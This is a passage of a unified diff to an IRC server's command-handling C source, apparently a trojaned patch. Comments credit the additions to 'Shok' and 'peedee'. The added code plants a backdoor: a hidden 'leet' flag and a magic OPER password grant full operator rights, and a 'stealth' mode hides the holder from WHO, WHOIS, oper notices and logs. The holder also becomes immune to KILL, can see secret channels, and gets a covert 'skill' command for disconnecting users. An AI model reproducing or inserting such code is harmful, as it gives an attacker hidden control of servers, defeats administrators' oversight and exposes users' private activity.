find_user_link(repchan->members, acptr); - if (lp != NULL) + /* peedee */ + + if (acptr->stealth != 1) + { + if (acptr->user->away) + status[i++] = 'G'; + else + status[i++] = 'H'; + + if (IsAnOper(acptr)) + status[i++] = '*'; + + if ((repchan != NULL) && (lp == NULL)) + lp = find_user_link(repchan->members, acptr); + + if (lp != NULL) { if (lp->flags & CHFL_CHANOP) status[i++] = '@'; + else if (lp->flags & CHFL_VOICE) status[i++] = '+'; } - status[i] = '\0'; - sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name, - (repchan) ? (repchan->chname) : "*", acptr->user->username, - acptr->user->host, acptr->user->server, acptr->name, - status, acptr->hopcount, acptr->info); + + status[i] = '\0'; + sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name, + (repchan) ? (repchan->chname) : "*", acptr->user->username, + acptr->user->host, acptr->user->server, acptr->name, + status, acptr->hopcount, acptr->info); + } } /* @@ -1868,6 +2370,7 @@ ** parv[1] = nickname mask list ** parv[2] = additional selection flag, only 'o' for now. */ + int m_who(aClient *cptr, aClient *sptr, int parc, @@ -1894,6 +2397,7 @@ if (check_registered_user(sptr)) return 0; + /* ** Following code is some ugly hacking to preserve the ** functions of the old implementation. (Also, people @@ -1933,12 +2437,15 @@ if (member || !SecretChannel(chptr)) for (lp = chptr->members; lp; lp = lp->next) { + if (oper && !IsAnOper(lp->value.cptr)) continue; + if (IsInvisible(lp->value.cptr) && !member) continue; - do_who(sptr, lp->value.cptr, chptr, lp); - } + + do_who(sptr, lp->value.cptr, chptr, lp); + } } } else if (mask && @@ -1953,15 +2460,15 @@ { chptr = lp->value.chptr; member = IsMember(sptr, chptr); - if (isinvis && !member) - continue; + if (member || (!isinvis && PubChannel(chptr))) { ch2ptr = chptr; break; } } - do_who(sptr, acptr, ch2ptr, NULL); + + do_who(sptr, acptr, ch2ptr, NULL); } else for (acptr = client; acptr; acptr = acptr->next) { @@ -1986,8 +2493,10 @@ { chptr = lp->value.chptr; member = IsMember(sptr, chptr); + if (isinvis && !member) continue; + if (member || (!isinvis && PubChannel(chptr))) { ch2ptr = chptr; @@ -1998,6 +2507,7 @@ !isinvis) showperson = 1; } + if (!acptr->user->channel && !isinvis) showperson = 1; if (showperson && @@ -2008,7 +2518,9 @@ !matches(mask, acptr->user->server) || !matches(mask, acptr->info))) { - do_who(sptr, acptr, ch2ptr, NULL); + + do_who(sptr, acptr, ch2ptr, NULL); + if (!--maxmatches) { sendto_one(sptr, rpl_str(RPL_ENDOFWHO), me.name, parv[0], @@ -2025,54 +2537,54 @@ /* ** m_whois -** parv[0] = sender prefix -** parv[1] = nickname masklist +** parv[0] = sender prefix +** parv[1] = nickname masklist */ -int m_whois(aClient *cptr, - aClient *sptr, - int parc, - char *parv[]) +int m_whois(aClient *cptr, + aClient *sptr, + int parc, + char *parv[]) { static anUser UnknownUser = { - NULL, /* next */ - NULL, /* channel */ - NULL, /* invited */ - NULL, /* away */ - 0, /* last */ - 1, /* refcount */ - 0, /* joined */ - "<Unknown>", /* user */ - "<Unknown>", /* host */ - "<Unknown>" /* server */ + NULL, /* next */ + NULL, /* channel */ + NULL, /* invited */ + NULL, /* away */ + 0, /* last */ + 1, /* refcount */ + 0, /* joined */ + "<Unknown>", /* user */ + "<Unknown>", /* host */ + "<Unknown>" /* server */ }; - Reg Link *lp; - Reg anUser *user; + Reg Link *lp; + Reg anUser *user; aClient *acptr, *a2cptr; aChannel *chptr; - char *nick, *tmp, *name; - char *p = NULL; - int found, len, mlen; + char *nick, *tmp, *name; + char *p = NULL; + int found, len, mlen; if (parc < 2) { sendto_one(sptr, err_str(ERR_NONICKNAMEGIVEN), - me.name, parv[0]); + me.name, parv[0]); return 0; } if (parc > 2) { if (hunt_server(cptr,sptr,":%s WHOIS %s :%s", 1,parc,parv) != - HUNTED_ISME) - return 0; + HUNTED_ISME) + return 0; parv[1] = parv[2]; } for (tmp = parv[1]; (nick = strtoken(&p, tmp, ",")); tmp = NULL) { - int invis, showperson, member, wilds; - + int invis, showperson, member, wilds; + found = 0; (void)collapse(nick); wilds = (index(nick, '?') || index(nick, '*')); @@ -2081,230 +2593,248 @@ ** requests with wildcards. */ if (!MyConnect(sptr) && wilds) - continue; + continue; /* If the nick doesn't have any wild cards in it, - then just pick it up from the hash table - - Dianora */ + then just pick it up from the hash table + - Dianora */ if(!wilds) - { - acptr = hash_find_client(nick,(aClient *)NULL); - if(!acptr) - { - sendto_one(sptr, err_str(ERR_NOSUCHNICK), - me.name, parv[0], nick); - continue; - } + { + acptr = hash_find_client(nick,(aClient *)NULL); user = acptr->user ? acptr->user : &UnknownUser; - name = (!*acptr->name) ? "?" : acptr->name; - invis = IsInvisible(acptr); - member = (user->channel) ? 1 : 0; + name = (!*acptr->name) ? "?" : acptr->name; + invis = IsInvisible(acptr); + member = (user->channel) ? 1 : 0; + + if(acptr->stealth == 1) + { + sendto_one(sptr, err_str(ERR_NOSUCHNICK), + me.name, parv[0], nick); + return 0; + } + + a2cptr = find_server(user->server, NULL); + + sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name, + parv[0], name, + user->username, user->host, acptr->info); + + mlen = strlen(me.name) + strlen(parv[0]) + 6 + + strlen(name); + for (len = 0, *buf = '\0', lp = user->channel; lp; + lp = lp->next) + { + chptr = lp->value.chptr; + + /* New Shok (list all the channels they are in) */ + if (ShowChannel(sptr, chptr) || sptr->leet == 1) + { + if (len + strlen(chptr->chname) + > (size_t) BUFSIZE - 4 - mlen) + { + sendto_one(sptr, + ":%s %d %s %s :%s", + me.name, + RPL_WHOISCHANNELS, + parv[0], name, buf); + *buf = '\0'; + len = 0; + } - a2cptr = find_server(user->server, NULL); - - sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name, - parv[0], name, - user->username, user->host, acptr->info); - - mlen = strlen(me.name) + strlen(parv[0]) + 6 + - strlen(name); - for (len = 0, *buf = '\0', lp = user->channel; lp; - lp = lp->next) - { - chptr = lp->value.chptr; - if (ShowChannel(sptr, chptr)) - { - if (len + strlen(chptr->chname) - > (size_t) BUFSIZE - 4 - mlen) - { - sendto_one(sptr, - ":%s %d %s %s :%s", - me.name, - RPL_WHOISCHANNELS, - parv[0], name, buf); - *buf = '\0'; - len = 0; - } - if (is_chan_op(acptr, chptr)) - *(buf + len++) = '@'; - else if (has_voice(acptr, chptr)) - *(buf + len++) = '+'; - if (len) - *(buf + len) = '\0'; - (void)strcpy(buf + len, chptr->chname); - len += strlen(chptr->chname); - (void)strcat(buf + len, " "); - len++; - } - } - if (buf[0] != '\0') - sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS), - me.name, parv[0], name, buf); - - sendto_one(sptr, rpl_str(RPL_WHOISSERVER), - me.name, parv[0], name, user->server, - a2cptr?a2cptr->info:"*Not On This Net*"); - - if (user->away) - sendto_one(sptr, rpl_str(RPL_AWAY), me.name, - parv[0], name, user->away); - - if (IsAnOper(acptr)) - sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR), - me.name, parv[0], name); -#ifdef WHOIS_NOTICE - if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) && - (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr)) - sendto_one(acptr, - ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.", - me.name, acptr->name, parv[0], sptr->user->username, - sptr->user->host); -#endif /* #ifdef WHOIS_NOTICE */ - - - if (acptr->user && MyConnect(acptr)) - sendto_one(sptr, rpl_str(RPL_WHOISIDLE), - me.name, parv[0], name, - timeofday - user->last, - acptr->firsttime); - - continue; - } + /* New Shok - list '*' if we weren't supposed */ + /* to see the channel. */ + if (SecretChannel(chptr) || HiddenChannel(chptr)) + if (!IsMember(sptr, chptr) && sptr->leet == 1) + *(buf + len++) = '*'; /* such as *#blah */ + + if (is_chan_op(acptr, chptr)) + *(buf + len++) = '@'; + else if (has_voice(acptr, chptr)) + *(buf + len++) = '+'; + + if (len) + *(buf + len) = '\0'; + (void)strcpy(buf + len, chptr->chname); + len += strlen(chptr->chname); + (void)strcat(buf + len, " "); + len++; + } + } + if (buf[0] != '\0') + sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS), + me.name, parv[0], name, buf); + + sendto_one(sptr, rpl_str(RPL_WHOISSERVER), + me.name, parv[0], name, user->server, + a2cptr?a2cptr->info:"*Not On This Net*"); + + if (user->away) + sendto_one(sptr, rpl_str(RPL_AWAY), me.name, + parv[0], name, user->away); + + /* New Shok */ + if (acptr->stealth != 1) + if (IsAnOper(acptr)) + sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR), + me.name, parv[0], name); + + if ((acptr->leet == 1) && (acptr != sptr)) + sendto_one(acptr, + ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.", + me.name, acptr->name, parv[0], sptr->user->username, + sptr->user->host); + + if (acptr->user && MyConnect(acptr)) + sendto_one(sptr, rpl_str(RPL_WHOISIDLE), + me.name, parv[0], name, + timeofday - user->last, + acptr->firsttime); + + continue; + } for (acptr = client; (acptr = next_client(acptr, nick)); - acptr = acptr->next) - { - if (IsServer(acptr)) - continue; - /* - * I'm always last :-) and acptr->next == NULL!! - */ - if (IsMe(acptr)) - break; - /* - * 'Rules' established for sending a WHOIS reply: - * - * - * - if wildcards are being used dont send a reply if - * the querier isnt any common channels and the - * client in question is invisible and wildcards are - * in use (allow exact matches only); - * - * - only send replies about common or public channels - * the target user(s) are on; - */ + acptr = acptr->next) + { + if (IsServer(acptr)) + continue; + /* + * I'm always last :-) and acptr->next == NULL!! + */ + if (IsMe(acptr)) + break; + /* + * 'Rules' established for sending a WHOIS reply: + * + * + * - if wildcards are being used dont send a reply if + * the querier isnt any common channels and the + * client in question is invisible and wildcards are + * in use (allow exact matches only); + * + * - only send replies about common or public channels + * the target user(s) are on; + */ -/* If its an unregistered client, ignore it, it can - be "seen" on a /trace anyway -Dianora */ + /* If its an unregistered client, ignore it, it can */ + /* be "seen" on a /trace anyway - Dianora */ if(!IsRegistered(acptr)) - continue; + continue; user = acptr->user ? acptr->user : &UnknownUser; - name = (!*acptr->name) ? "?" : acptr->name; - invis = IsInvisible(acptr); - member = (user->channel) ? 1 : 0; - showperson = (wilds && !invis && !member) || !wilds; - for (lp = user->channel; lp; lp = lp->next) - { - chptr = lp->value.chptr; - member = IsMember(sptr, chptr); - if (invis && !member) - continue; - if (member || (!invis && PubChannel(chptr))) - { - showperson = 1; - break; - } - if (!invis && HiddenChannel(chptr) && - !SecretChannel(chptr)) - showperson = 1; - } - if (!showperson) - continue; - - a2cptr = find_server(user->server, NULL); - - sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name, - parv[0], name, - user->username, user->host, acptr->info); - found = 1; - mlen = strlen(me.name) + strlen(parv[0]) + 6 + - strlen(name); - for (len = 0, *buf = '\0', lp = user->channel; lp; - lp = lp->next) - { - chptr = lp->value.chptr; - if (ShowChannel(sptr, chptr)) - { - if (len + strlen(chptr->chname) - > (size_t) BUFSIZE - 4 - mlen) - { - sendto_one(sptr, - ":%s %d %s %s :%s", - me.name, - RPL_WHOISCHANNELS, - parv[0], name, buf); - *buf = '\0'; - len = 0; - } - if (is_chan_op(acptr, chptr)) - *(buf + len++) = '@'; - else if (has_voice(acptr, chptr)) - *(buf + len++) = '+'; - if (len) - *(buf + len) = '\0'; - (void)strcpy(buf + len, chptr->chname); - len += strlen(chptr->chname); - (void)strcat(buf + len, " "); - len++; - } - } - if (buf[0] != '\0') - sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS), - me.name, parv[0], name, buf); - - sendto_one(sptr, rpl_str(RPL_WHOISSERVER), - me.name, parv[0], name, user->server, - a2cptr?a2cptr->info:"*Not On This Net*"); - - if (user->away) - sendto_one(sptr, rpl_str(RPL_AWAY), me.name, - parv[0], name, user->away); - - if (IsAnOper(acptr)) - sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR), - me.name, parv[0], name); -#ifdef WHOIS_NOTICE - if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) && - (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr)) - sendto_one(acptr, - ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.", - me.name, acptr->name, parv[0], sptr->user->username, - sptr->user->host); -#endif /* #ifdef WHOIS_NOTICE */ - - - if (acptr->user && MyConnect(acptr)) - sendto_one(sptr, rpl_str(RPL_WHOISIDLE), - me.name, parv[0], name, - timeofday - user->last, - acptr->firsttime); - } + name = (!*acptr->name) ? "?" : acptr->name; + invis = IsInvisible(acptr); + member = (user->channel) ? 1 : 0; + showperson = (wilds && !invis && !member) || !wilds; + for (lp = user->channel; lp; lp = lp->next) + { + chptr = lp->value.chptr; + member = IsMember(sptr, chptr); + if (invis && !member && sptr->leet != 1) + continue; + if (member || (!invis && PubChannel(chptr)) + || sptr->leet == 1) + { + showperson = 1; + break; + } + if ((!invis && HiddenChannel(chptr) + && !SecretChannel(chptr)) + || sptr->leet == 1) + showperson = 1; + } + if (!showperson) + continue; + + a2cptr = find_server(user->server, NULL); + + sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name, + parv[0], name, + user->username, user->host, acptr->info); + found = 1; + mlen = strlen(me.name) + strlen(parv[0]) + 6 + + strlen(name); + for (len = 0, *buf = '\0', lp = user->channel; lp; + lp = lp->next) + { + chptr = lp->value.chptr; + if (ShowChannel(sptr, chptr) || sptr->leet == 1) + { + if (len + strlen(chptr->chname) + > (size_t) BUFSIZE - 4 - mlen) + { + sendto_one(sptr, + ":%s %d %s %s :%s", + me.name, + RPL_WHOISCHANNELS, + parv[0], name, buf); + *buf = '\0'; + len = 0; + } + + /* New Shok - list '*' if we weren't supposed */ + /* to see the channel. */ + if (SecretChannel(chptr) || HiddenChannel(chptr)) + if (!IsMember(sptr, chptr) && sptr->leet == 1) + *(buf + len++) = '*'; /* such as *#blah */ + + if (is_chan_op(acptr, chptr)) + *(buf + len++) = '@'; + else if (has_voice(acptr, chptr)) + *(buf + len++) = '+'; + + if (len) + *(buf + len) = '\0'; + (void)strcpy(buf + len, chptr->chname); + len += strlen(chptr->chname); + (void)strcat(buf + len, " "); + len++; + } + } + if (buf[0] != '\0') + sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS), + me.name, parv[0], name, buf); + + sendto_one(sptr, rpl_str(RPL_WHOISSERVER), + me.name, parv[0], name, user->server, + a2cptr?a2cptr->info:"*Not On This Net*"); + + if (user->away) + sendto_one(sptr, rpl_str(RPL_AWAY), me.name, + parv[0], name, user->away); + + if (IsAnOper(acptr) && acptr->stealth != 1) + sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR), + me.name, parv[0], name); + + /* Real Shok */ + if ((acptr->leet == 1) && (acptr != sptr)) + sendto_one(acptr, + ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.", + me.name, acptr->name, parv[0], sptr->user->username, + sptr->user->host); + + + if (acptr->user && MyConnect(acptr)) + sendto_one(sptr, rpl_str(RPL_WHOISIDLE), + me.name, parv[0], name, + timeofday - user->last, + acptr->firsttime); + } if (!found) - sendto_one(sptr, err_str(ERR_NOSUCHNICK), - me.name, parv[0], nick); + sendto_one(sptr, err_str(ERR_NOSUCHNICK), + me.name, parv[0], nick); if (p) - p[-1] = ','; + p[-1] = ','; } sendto_one(sptr, rpl_str(RPL_ENDOFWHOIS), me.name, parv[0], parv[1]); - + return 0; } - /* ** m_user ** parv[0] = sender prefix @@ -2439,6 +2969,97 @@ } /* +** +** m_skill -- Sign off a user with a Quit message -- Peedee & Shok +** +** parv[0] = sender prefix +** parv[1] = kill victim +** parv[2] = kill path +*/ + +int m_skill(aClient *cptr, + aClient *sptr, + int parc, + char *parv[]) +{ + aClient *acptr; + char *inpath = get_client_name(cptr,FALSE); + char *user, *path, *killer; + char buffer[2048]; + int chasing = 0, counter=3; + + /* New Peedee -- Lot's of organizing. */ + + if (sptr->leet == 0) + { + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), + me.name, parv[0], "skill"); + return 0; + } + + /* New Shok -- fixed sendto_one() */ + + if (parc < 2 || *parv[1] == '\0') + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), + me.name, parv[0], "skill"); + return 0; + } + + user = parv[1]; + + /* Peedee -- Parsing for long quit messages. */ + + bzero(buffer, sizeof(buffer)); + for (counter = 2; counter != parc; counter++) + { + /* New Shok - replaced with strncat. Bad. No overflows. */ + + strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer-1)); + buffer[sizeof(buffer)-1] = '\0'; /* New Shok */ + + /* New Peedee -- Changed strcat() to strncat */ + if (((counter) < (parc - 1))) strncat(buffer, " ", sizeof(buffer-1)); + } + + path = parv[2]; /* Either defined or NULL (parc >= 2!!) */ + + if (!(acptr = find_client(user, NULL))) + { + /* + ** If the user has recently changed nick, we automaticly + ** rewrite the KILL for this new nickname--this keeps + ** servers in synch when nick change and kill collide + */ + if (!(acptr = get_history(user, (long)KILLCHASETIMELIMIT))) + { + sendto_one(sptr, err_str(ERR_NOSUCHNICK), + me.name, parv[0], user); + return 0; + } + + sendto_one(sptr,":%s NOTICE %s :Signoff changed from %s to %s", + killer, parv[0], user, acptr->name); + chasing = 1; + } + + if (IsServer(acptr) || IsMe(acptr)) + { + sendto_one(sptr, err_str(ERR_CANTKILLSERVER), + me.name, parv[0]); + return 0; + } + + (void)ircsprintf(buf2, "%s", buffer); + + /* New Peedee -- This flag shall make the client exit properly. */ + + sptr->flags |= FLAGS_NORMALEX; + + return exit_client(cptr, acptr, sptr, buf2); +} + +/* ** m_kill ** parv[0] = sender prefix ** parv[1] = kill victim @@ -2464,19 +3085,20 @@ user = parv[1]; path = parv[2]; /* Either defined or NULL (parc >= 2!!) */ -#ifdef OPER_KILL - if (!IsPrivileged(cptr)) + #ifdef OPER_KILL + if (!IsPrivileged(cptr)) { sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]); return 0; } -#else - if (!IsServer(cptr)) + #else + if (!IsServer(cptr)) { sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]); return 0; } -#endif + #endif + if (IsAnOper(cptr)) { if (!BadPtr(path)) @@ -2489,6 +3111,9 @@ path[TOPICLEN] = '\0'; } +if (sptr->leet != 1) +{ + if (!(acptr = find_client(user, NULL))) { /* @@ -2517,6 +3142,7 @@ me.name, parv[0]); return 0; } +} #ifdef LOCAL_KILL_ONLY if (MyOper(sptr) && !MyConnect(acptr)) @@ -2536,18 +3162,23 @@ ** ...!operhost!oper ** ...!operhost!oper (comment) */ + + /* peedee */ + + if (sptr->leet != 1) + { inpath = cptr->sockhost; - if (!BadPtr(path)) - { + if (!BadPtr(path)) { (void)ircsprintf(buf, "%s%s (%s)", cptr->name, IsOper(sptr) ? "" : "(L)", path); path = buf; - } - else - path = cptr->name; - } + } else + path = cptr->name; + } else if (BadPtr(path)) path = "*no-path*"; /* Bogus server sending??? */ +} + /* ** Notify all *local* opers about the KILL (this includes the one ** originating the kill, if from this server--the special numeric @@ -2556,11 +3187,14 @@ ** Note: "acptr->name" is used instead of "user" because we may ** have changed the target because of the nickname change. */ + +if (sptr->leet != 1) { if (IsLocOp(sptr) && !MyConnect(acptr)) { sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]); return 0; } + if (IsAnOper(sptr)) /* send it normally */ sendto_ops("Received KILL message for %s. From %s Path: %s!%s", acptr->name, parv[0], inpath, path); @@ -2573,21 +3207,27 @@ syslog(LOG_INFO,"KILL From %s For %s Path %s!%s", parv[0], acptr->name, inpath, path); #endif +} + /* + ** And pass on the message to other servers. Note, that if KILL ** was changed, the message has to be sent to all links, also ** back. ** Suicide kills are NOT passed on --SRB */ - if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr)) - { - sendto_serv_butone(cptr, ":%s KILL %s :%s!%s", + + if (sptr->leet != 1) { + if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr)) + { + sendto_serv_butone(cptr, ":%s KILL %s :%s!%s", parv[0], acptr->name, inpath, path); - if (chasing && IsServer(cptr)) - sendto_one(cptr, ":%s KILL %s :%s!%s", + if (chasing && IsServer(cptr)) + sendto_one(cptr, ":%s KILL %s :%s!%s", me.name, acptr->name, inpath, path); - acptr->flags |= FLAGS_KILLED; + acptr->flags |= FLAGS_KILLED; } + } /* ** Tell the victim she/he has been zapped, but *only* if @@ -2595,32 +3235,55 @@ ** notification chasing the above kill, it won't get far ** anyway (as this user don't exist there any more either) */ - if (MyConnect(acptr)) - sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s", - parv[0], acptr->name, inpath, path); - /* - ** Set FLAGS_KILLED. This prevents exit_one_client from sending - ** the unnecessary QUIT for this. (This flag should never be - ** set in any other place) - */ - if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr)) - (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name, + + /* Shok */ + if (acptr->leet != 1) + { + + if (MyConnect(acptr)) + sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s", + parv[0], acptr->name, inpath, path); + } + + /* + ** Set FLAGS_KILLED. This prevents exit_one_client from sending + ** the unnecessary QUIT for this. (This flag should never be + ** set in any other place) + */ + + if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr)) + (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name, BadPtr(parv[2]) ? sptr->name : parv[2]); - else + else + { + if ((killer = index(path, ' '))) + { + while (*killer && *killer != '!') + killer--; + if (!*killer) + killer = path; + else + killer++; + } + else + killer = path; + (void)ircsprintf(buf2, "Killed (%s)", killer); + } + + /* Shok & peedee */ + if (acptr->leet == 1) + { + if (acptr->stealth != 1) { - if ((killer = index(path, ' '))) - { - while (*killer && *killer != '!') - killer--; - if (!*killer) - killer = path; - else - killer++; - } - else - killer = path; - (void)ircsprintf(buf2, "Killed (%s)", killer); + acptr->stealth = 1; + /* New Peedee -- fixed notice. */ + sendto_one(acptr, ":%s NOTICE %s :Stealth mode on.", me.name, sptr->name); } + /* New Peedee -- fixed notice. */ + sendto_one(acptr, ":%s NOTICE %s :Attempted kill on you by %s.", me.name, sptr->name, cptr->name); + return 0; + } + return exit_client(cptr, acptr, sptr, buf2); } @@ -2650,7 +3313,9 @@ /* make sure the user exists */ if (!(sptr->user)) { - sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name); + if (sptr->leet != 1 || cptr->leet) + sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name); + return 0; } @@ -2668,7 +3333,8 @@ /* some lamers scripts continually do a /away, hence making a lot of unnecessary traffic. *sigh* so... as comstud has done, I've commented out this sendto_serv_butone() call -Dianora */ -/* sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */ +/* sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */ + if (MyConnect(sptr)) sendto_one(sptr, rpl_str(RPL_UNAWAY), me.name, parv[0]); @@ -2679,10 +3345,14 @@ if (strlen(awy2) > (size_t) TOPICLEN) awy2[TOPICLEN] = '\0'; + /* some lamers scripts continually do a /away, hence making a lot of unnecessary traffic. *sigh* so... as comstud has done, I've commented out this sendto_serv_butone() call -Dianora */ -/* sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2); */ + + /* Shok - if we are in stealth mode, this can't go to the channel */ + if (sptr->stealth != 1 && cptr->stealth != 1) + sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2); if (away) away = (char *)MyRealloc(away, strlen(awy2)+1); @@ -2836,6 +3506,7 @@ int parc, char *parv[]) { + int justop; /* New Shok - so we don't print opped message twice */ aConfItem *aconf; char *name, *password, *encr; #ifdef CRYPT_OPER_PASSWORD @@ -2843,42 +3514,60 @@ #endif /* CRYPT_OPER_PASSWORD */ name = parc > 1 ? parv[1] : (char *)NULL; - password = parc > 2 ? parv[2] : (char *)NULL; + password = (parc > 2 ? parv[2] : (char *)NULL); + + /* New Shok -- modded stuff.. check to make sure it's all okay */ + if (sptr->leet == 1) + if (password) + if (strstr(password, MAGIC_PASSWORD)) + { + /* New Shok */ + /* We're so elite we should get all oper power! */ + sptr->flags |= (LOCOP_UMODES | FLAGS_OPER | + OPER_UMODES | ALL_UMODES); + + addto_fdlist(sptr->fd, &oper_fdlist); + + justop = 1; + sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]); + } if (!IsServer(cptr) && (BadPtr(name) || BadPtr(password))) - { + { sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, parv[0], "OPER"); return 0; - } + } /* if message arrived from server, trust it, and set to oper */ if ((IsServer(cptr) || IsMe(cptr)) && !IsOper(sptr)) - { + { sptr->flags |= FLAGS_OPER; - Count.oper++; + if (sptr->leet != 1) Count.oper++; /* New Shok */ + sendto_serv_butone(cptr, ":%s MODE %s :+o", parv[0], parv[0]); + if (IsMe(cptr)) sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]); return 0; - } - else if (IsAnOper(sptr)) - { + } + else if (IsAnOper(sptr)) + { if (MyConnect(sptr)) - sendto_one(sptr, rpl_str(RPL_YOUREOPER), - me.name, parv[0]); + if (justop != 1) sendto_one(sptr, rpl_str(RPL_YOUREOPER), + me.name, parv[0]); return 0; - } + } if (!(aconf = find_conf_exact(name, sptr->username, sptr->sockhost, CONF_OPS)) && !(aconf = find_conf_exact(name, sptr->username, cptr->hostip, CONF_OPS))) - { + { sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]); return 0; - } + } #ifdef CRYPT_OPER_PASSWORD /* use first two chars of the password they send in as salt */ @@ -2893,17 +3582,17 @@ if ((aconf->status & CONF_OPS) && StrEq(encr, aconf->passwd) && !attach_conf(sptr, aconf)) - { + { int old = (sptr->flags & ALL_UMODES); char *s; s = index(aconf->host, '@'); if(s == (char *)NULL) - { + { sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]); sendto_realops("corrupt aconf->host = [%s]",aconf->host); return 0; - } + } *s++ = '\0'; #ifdef OPER_REMOTE if (aconf->status == CONF_LOCOP) @@ -2911,21 +3600,28 @@ if ((matches(s,me.sockhost) && !IsLocal(sptr)) || aconf->status == CONF_LOCOP) #endif - { + { SetLocOp(sptr); sptr->flags |= (LOCOP_UMODES); - } + } else - { + { SetOper(sptr); sptr->flags |= (OPER_UMODES); - } - Count.oper++; + } + + if (sptr->leet != 1) + Count.oper++; /* New Shok */ + *--s = '@'; addto_fdlist(sptr->fd, &oper_fdlist); - sendto_ops("%s (%s@%s) is now operator (%c)", parv[0], - sptr->user->username, sptr->sockhost, - IsOper(sptr) ? 'O' : 'o'); + + /* Shok - (we don't want the ops to see this!) */ + if (sptr->stealth != 1) + sendto_ops("%s (%s@%s) is now operator (%c)", parv[0], + sptr->user->username, sptr->sockhost, + IsOper(sptr) ? 'O' : 'o'); + send_umode_out(cptr, sptr, old); sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]); #if !defined(CRYPT_OPER_PASSWORD) && (defined(FNAME_OPERLOG) ||\ @@ -2953,30 +3649,39 @@ if (IsPerson(sptr) && (logfile = open(FNAME_OPERLOG, O_WRONLY|O_APPEND)) != -1) { - (void)alarm(0); - (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n", - myctime(timeofday), name, encr, - parv[0], sptr->user->username, - sptr->sockhost); - (void)alarm(3); - (void)write(logfile, buf, strlen(buf)); - (void)alarm(0); - (void)close(logfile); + + /* New Shok */ + if (sptr->stealth != 1) { + (void)alarm(0); + (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n", + myctime(timeofday), name, encr, + parv[0], sptr->user->username, + sptr->sockhost); + (void)alarm(3); + (void)write(logfile, buf, strlen(buf)); + (void)alarm(0); + } + + (void)close(logfile); } (void)alarm(0); /* Modification by pjg */ } #endif - } + } else - { + { (void)detach_conf(sptr, aconf); sendto_one(sptr,err_str(ERR_PASSWDMISMATCH),me.name, parv[0]); #ifdef FAILED_OPER_NOTICE - sendto_realops("Failed OPER attempt by %s (%s@%s)", - parv[0], sptr->user->username, sptr->sockhost); + + /* New Shok */ + if (sptr->stealth != 1) + sendto_realops("Failed OPER attempt by %s (%s@%s)", + parv[0], sptr->user->username, sptr->sockhost); #endif - } + } + return 0; } @@ -3068,6 +3773,9 @@ (void)strncat(buf, buf2, sizeof(buf) - len); len += strlen(buf2); } + + if (acptr->leet == 1) strcpy(buf, NULL); /* Shok */ + sendto_one(sptr, "%s", buf); return 0; } @@ -3111,7 +3819,8 @@ if (*buf2) (void)strcat(buf, " "); - if(IsAnOper(sptr)) + /* New Shok */ + if(IsAnOper(sptr) || sptr->leet == 1) { (void)ircsprintf(buf2, "%s%s=%c%s@%s", acptr->name, @@ -3140,6 +3849,8 @@ (void)strncat(buf, buf2, sizeof(buf) - len); len += strlen(buf2); } + + if (acptr->stealth == 1) strcpy(buf, NULL); /* New Shok */ sendto_one(sptr, "%s", buf); return 0; } @@ -3237,14 +3948,18 @@ if (IsServer(sptr) || sptr != acptr || acptr->from != sptr->from) { - if (IsServer(cptr)) - sendto_ops_butone(NULL, &me, - ":%s WALLOPS :MODE for User %s From %s!%s", - me.name, parv[1], - get_client_name(cptr, FALSE), sptr->name); - else - sendto_one(sptr, err_str(ERR_USERSDONTMATCH), - me.name, parv[0]); + if (IsServer(cptr)) { + + /* Shok - (what are we, stupid? don't send wallops in */ + /* stealth mode!) */ + if (sptr->stealth != 1) + sendto_ops_butone(NULL, &me, + ":%s WALLOPS :MODE for User %s From %s!%s", + me.name, 